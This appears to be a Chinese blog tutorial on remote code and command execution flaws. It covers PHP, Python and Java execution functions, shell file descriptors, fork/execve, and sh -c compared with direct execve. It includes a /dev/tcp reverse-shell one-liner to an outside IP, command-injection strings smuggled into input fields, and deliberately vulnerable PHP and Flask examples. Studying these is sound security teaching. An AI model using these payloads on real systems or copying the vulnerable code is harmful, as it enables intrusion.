RCE的概念与区别
Remote Code Execute 远程代码执行
此处我们讲到的RCE不是由其他漏洞产⽣的外部代码(⾮预设代码)执⾏,比如说:反序列化、远程文件包含、Webshell上传、SSTI等
因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了远程代码执⾏漏洞。
一句话来说就是:一段当前语言代码的字符串被动态执行,或者是其他语言的代码被放入沙箱执行了
PHP
PHP中可以远程代码执行的函数有很多,如果我们的输入可以走到这些函数作为参数,那么就有可能出现远程代码执行
eval() //把字符串作为PHP代码执⾏
assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码
preg_replace() //执⾏⼀个正则表达式的搜索和替换
call_user_func() //把第⼀个参数作为回调函数调⽤
call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数
array_map() //为数组的每个元素应⽤回调函数
$a($b) //动态函数Python
Python可以远程代码执行的函数如下:
exec(string) # Python代码的动态执⾏
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本Java
Java中可以直接执行代码的函数基本没有,都是调用反序列化来动态执行字符串,所以目前没有这种函数
Remote Command Execte 远程命令执行
这种漏洞出现的原因在于系统/应用从设计上需要给用户提供指定的远程命令操作的接口,比如说路由器等设备。
这种漏洞出现的情况仅当Web应用程序代码包含操作系统调用(外壳程序、Shell)并且调用中使用了用户输入时才可能进行OS命令注入攻击。
它们不是基于特定语言的,命令注入漏洞可能会出现在所有让用户调用系统外壳命令的语言中
一句话来说就是:⼀段输⼊的字符串被引⼊了执⾏外部命令的函数,并且没过过滤。
PHP
exec — 执⾏⼀个外部程序
passthru — 执⾏外部程序并且显示原始输出
proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回
system — 执⾏外部程序,并且显示输出Python
os.system() #执⾏系统指令
os.popen() #popen()⽅法⽤于从⼀个命令打开⼀个管道
subprocess.call #执⾏由参数提供的命令Java
Runtime.getRuntime().exec()
ProcessBuilder()Shell相关基础知识
参考文章
https://www.jianshu.com/p/410cd35e642f
管道
command1 | command2 前⼀个命令的输出作为后⼀个命令的输⼊重定向
command1 < input.txt 将input.txt的内容读出来重定向作为command1的参数
command2 > out.txt 将command2的输出重定向到out.txt中fd
linux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索引)。
文件描述符(File Descriptor,简称FD)是Linux系统中用于访问文件或其他输入输出资源(如管道、网络套接字等)的一种抽象标识。
Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理这些已经被打开的⽂件所创建的索引。
$$ --> linux下当前进程的pid
/proc --> linux伪⽂件系统 ---》进程相关的信息挂载在这⾥
相关信息解释:
- 0代表标准输入(stdin)
- 1代表标准输出(stdout)
- 2代表标准错误(stderr)
当前shell就是标准输入/输出/错误都重定向到同一个地方,所以我们执行命令时能得到结果和错误提示
反弹shell
那么结合我们的安全角度,反弹shell就是一个shell命令,如何解释它?
sh -i >& /dev/tcp/192.168.101.30/2222 0>&1sh -i:启动一个交互式的 Shell。>&:因此,>&将stdout和stderr合并后发送到后面的目标。/dev/tcp/192.168.101.30/2222:创建一个连接到192.168.101.30:2222的Socks0>&1:将stdin重定向到该Socks
Linux进程是如何创建的
Linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。
系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。
由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。
Linux创建进程的大致流程
bash -c whoami在内核态执行了以下动作

fork用于创建一个与父进程相似的子进程,两者拥有相同的地址空间,但具有独立的PID。子进程通过写时复制机制与父进程共享资源。而execve则在当前进程上下文替换并运行新的程序。
关于系统调⽤的跟进,使用神器strace。如果你致⼒于成为⼀个安全研究员,后⾯的⼯作免不了跟他打交道。
strace -tt -f -e trace=process python3 test.pyimport os
if __name__ == '__main__':
name = '123";ping baidu.com -c 100;echo "456'
cmd = 'echo "HELLO ' + name + '"'
os.system(cmd)
这边的clone相当于fork,然后我们还可以发现一个点就是echo为什么没有创建,这是因为echo内置在shell里面了,所以不会创建一个新的进程

命令注入的本质是在注入什么
var name = requset.get("name")
var cmd = "echo 'Hello " + name + "'"
RUN_CMD(cmd)在有伪代码的情况下观察下面的代码,想想他们都能执行RCE吗?如果不一定,那么区别在哪?
思考代码
C/PHP/Python下的system()/popen()函数
system($input$)
执⾏ sh -c '$input'
可以转化为
bash(pid:1) --> sys_fork --> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)Python的subprocess.call函数
import os
import subprocess
if __name__ == '__main__':
name = '123";ping baidu.com -c 100;echo "456'
cmd = 'echo "HELLO ' + name + '"'
subprocess.call(cmd, shell=True)import os
import subprocess
if __name__ == '__main__':
name = '123";ping baidu.com -c 100;echo "456'
cmd = 'echo "HELLO ' + name + '"'
subprocess.call(cmd, shell=False)两者的区别是什么?存在RCE吗?
Java的命令执行函数
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
public static void main(String[] args) {
try {
String name = "123';ping baidu.com -c 3;echo '456";
String cmd = "echo 'HELLO " + name + "'";
Process pro = Runtime.getRuntime().exec(cmd);
InputStream in = null;
in = pro.getInputStream();
BufferedReader read = new BufferedReader(new InputStreamReader(in));
String result = read.readLine();
System.out.println("INFO:"+result);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}上面这些代码的区别是什么,当我们发现这些代码的时候都能实现RCE吗?
下面就开始介绍这些代码的区别,以及他们能否实现RCE
函数与命令的关系
PHP
<?php
$name = $_GET['name'];
$cmd = 'echo "Hello '.$name.'"';
var_dump("system", system($cmd)); //sh -c
echo '</br>';
var_dump("exec",exec($cmd)); //sh -c
echo '</br>';
var_dump("shell_exec",shell_exec($cmd)); //sh -c
echo '</br>';
var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x, 1024)); //sh -c
echo '</br>';
$a = array();
var_dump("proc_open");$x = proc_open($cmd, $a,$b); //sh -c
?>PHP中的大多数执行外部命令的函数其实都是通过sh -c去执行的
Python
import os
if __name__ == '__main__':
name = '123";ping baidu.com -c 100;echo "456'
cmd = 'echo "HELLO ' + name + '"'
os.system(cmd)Java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
public static void main(String[] args) {
try {
String name = "123';ping baidu.com -c 3;echo '456";
String cmd = "echo 'HELLO " + name + "'";
Process pro = Runtime.getRuntime().exec(cmd);
InputStream in = null;
in = pro.getInputStream();
BufferedReader read = new BufferedReader(new InputStreamReader(in));
String result = read.readLine();
System.out.println("INFO:"+result);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}总结
system类
如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork-->execve流程
在这种流程下调用的是外部bash -c,这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击
execve类
⽐如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,⾛的流程是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤shell语法了,与任何拼接都没有关系了。
那么这种情况如何绕过?
execve类参数绕过
当我们不能执⾏任意进程的时候(我们的输⼊只是某个特定进程的输⼊参数的时候),依然能找到⼀些撸点,但是撸点的⼤⼩,取决的使⽤的进程程序本身的参数是不是能注⼊。
比如说rpm和curl
import shlex
import subprocess
import urllib
from flask import Flask, request
app = Flask(__name__)
@app.route('/rpm')
def rpm_install(): # put application's code here
rpm = request.args.get("rpm")
if rpm is None or rpm.strip() == "":
return "please input rpm to install"
rpm = urllib.parse.unquote(rpm)
cmd = "rpm " + rpm
cmd_list = shlex.split(cmd)
process = subprocess.Popen(cmd_list, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
result = "result is:\n"
while process.poll() is None:
line = process.stdout.readline()
line = line.strip()
if line:
result = result + str(line)
return result
@app.route('/curl')
def curl(): # put application's code here
url = request.args.get("url")
if url is None or url.strip() == "":
return "please input url"
cmd = ['curl', url]
process = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
result = "result is:\n"
while process.poll() is None:
line = process.stdout.readline()
line = line.strip()
if line:
result = result + str(line)
return result
if __name__ == '__main__':
app.run(host="0.0.0.0")参考文档
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io
Curl


rpm


评论 (0)